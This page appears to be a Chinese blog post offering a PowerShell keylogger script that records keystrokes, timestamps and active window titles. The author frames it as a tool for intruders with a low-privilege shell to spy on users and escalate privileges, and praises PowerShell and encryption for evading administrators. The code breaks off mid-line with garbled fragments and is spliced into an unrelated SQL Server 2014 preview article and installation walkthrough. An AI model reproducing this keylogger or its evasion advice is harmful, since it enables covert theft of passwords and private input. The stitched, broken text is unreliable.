作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。
可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:
=====文件名:Get-TimedOperationRecord.ps1===== function Get-TimedOperationRecord { <# Author:fuhj(powershell#live.cn ,http://fuhaijun.com) Logs keys pressed, time and the active window. .Parameter LogPath Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'. .Parameter CollectionInterval Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely. .Example Get-TimedOperationRecord -LogPath C:\key.log .Example Get-TimedOperationRecord -CollectionInterval 20 #> [CmdletBinding()] Param ( [Parameter(Position = 0)] [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [String] $LogPath = "$($Env:TEMP)\key.log", [Parameter(Position = 1)] $CollectionInterval ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) Write-Verbose "Logging keystrokes to $LogPath" $Initilizer = { $LogPath = 'REPLACEME' '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode function KeyLog { [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null try { $ImportDll = } catch { $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $FieldArray = [Reflection.FieldInfo[]] @( [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') ) $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', , [Type[]] @([Windows.Forms.Keys])) $FieldValueArray = [Object[]] @( 'GetAsyncKeyState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', , [Type[]] @(])) $FieldValueArray = [Object[]] @( 'GetKeyboardState', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', , [Type[]] @(, )) $FieldValueArray = [Object[]] @( 'MapVirtualKey', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', , [Type[]] @(, , ], [Text.StringBuilder], , )) $FieldValueArray = [Object[]] @( 'ToUnicode', $False, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', , [Type[]] @()) $FieldValueArray = [Object[]] @( 'GetForegroundWindow', $True, $False, $True, [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto ) $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) $PInvokeMethod.SetCustomAttribute($CustomAttribute) $ImportDll = $TypeBuilder.CreateType() } Start-Sleep -Milliseconds 40 try { #loop through typeable characters to see which is pressed for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) { $VirtualKey = $TypeableChar $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) #if the key is pressed if (($KeyResult -band 0x8000) -eq 0x8000) { #check for keys not mapped by virtual keyboard $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 $DeleteKey = ($ImportDll::抢先体验SQL Server 2014 CTP1! 阅读原文»抢先体验SQL Server 2014 CTP1!根据微软官方给出的消息,下一版本数据库平台SQL Server 2014将在今年年底发布,其中将包含表粒度级别的内存OLTP功能,而与其他内存数据库不同的是,这一功能将无需昂贵的硬件作为支持。
在本周新奥尔良举行的TechEd活动上,微软宣布SQL Server 2014的第一个技术预览版将于本月份正式提供下载,而产品正式GA的时间初步定在今年年底。根据TechTarget数据库网站之前的报道,在去年SQL PASS大会上,微软就已经介绍了他们最新的内存数据库(Hekaton项目),在SQL Server 2014中,我们就将看到它完整的面貌。
SQL Server数据库发展路线图
SQL Server咨询顾问Denny Cherry在接受TechTarget记者采访时表示:"微软新推出的内存OLTP功能,对于拥有超高I/O系统的企业应用来说是非常具有吸引力的,它能够很好地解决系统阻塞问题。"
Cherry介绍,在享受SQL Server 2014带来内存功能的同时,一些应用难免需要对代码进行修改,但它最大的优势在于内存功能将完美整合到SQL Server自身的数据库引擎当中。
"我们对如何管理和开发SQLServer数据库已经很熟悉了,所以Hekaton不会带来新的技术门槛,微软也将加入一些自动化的功能。"Cherry表示。
与以往有所不同,微软本次的新产品发布速度格外的快(参考"千呼万唤始出来"的SQL Server 2012)。这个月之内大家就能够下载SQL Server 2014的技术预览版了。Cherry表示,企业用户需要立即对开发工作进行部署,以便充分利用微软内存数据库技术解决业务需求。
微软SQL Server部门主管Eron Kelly介绍,通过将交易处理放到内存中进行,新的SQL Server2014在测试中能够将性能提升50倍以上。在新版本中,DBA能够有两个选择,他们可以设定哪些数据库实例或者表放到内存当中。同时还将提供一个诊断工具,能够为DBA提供建议。而表粒度是SQL Server 2014与其他内存数据库最大的区别。
Kelly说:"你可以把选定的几个表放到内存中,其他的放在硬盘上。因此你不需要购买高端的硬件设备。这就是我们与SAP HANA的区别,使用现有的硬件设备就可以充分展现微软内存数据库的优势。"
据了解,Hekaton项目的代码将会取消,新的功能将正式命名为SQL Server内存OLTP引擎(In-MemoryOLTP Engine)。
SQL Server 2014其他新特性
除了内存数据库之外,SQLServer 2014还有一些值得关注的新特性。
首先是新的列存储索引技术,叫做xVelocityColumnStore。它可以对数据进行持续加载,同时列存储索引能够让SQL Server在索引中对数据进行压缩,从而进一步提升查询性能。它与SQL Server 2012中的列存储索引有何区别?在SQL Server 2012中,当你将表转换成列存储模式之后,数据在索引中就不能改动了。而SQL Server 2014可以在已有的列存储索引中对数据进行加载和删除操作。
另外一个新特性就是快速备份到Windows AzureSQL Database(微软云数据库)。在SQL Server 2014中,DBA可以在SSMS中点击右键,选择在Azure下创建第二个和第三个数据库备份,用于灾难恢复。
Kelly介绍,SQL Server 2014中还会添加一个新的数据存储管理功能,类似于OracleDatabase 12c的数据库热图(参考:Oracle Database12c的十二大新特性)。DBA可以通过它将活跃数据存储到固态硬盘上,其他相对"冷"的数据放在普通硬盘上。
好,下面我们就正式进入安装SQL Server 2014的步骤:
首先我选择的是Windows Server 2012 R2服务器系统如图。
装入SQL Server 2014的安装镜像,选择全新安装SQL Server 2014,如图。
进行安装程序支持规则检查,如图。
输入产品密钥,这里我们选择试用,如图。
勾上同意协议:
勾选产品更新,安装SQL Server 2014时需要联网升级,如图。
升级成功:
安装文件:
安装支持规则:
选择SQL Server功能安装,如图。
勾选希望安装的SQL功能,如图。
进行安装的规则检查,如图。
选择使用默认实例,如图。
确认满足磁盘空间要求,如图。
设置服务账户为域账户并设置启动方式为自动,保持默认,如图。
指定SQL Server的管理员,如图。这里把管理员账户添加进来。
没有评论:
发表评论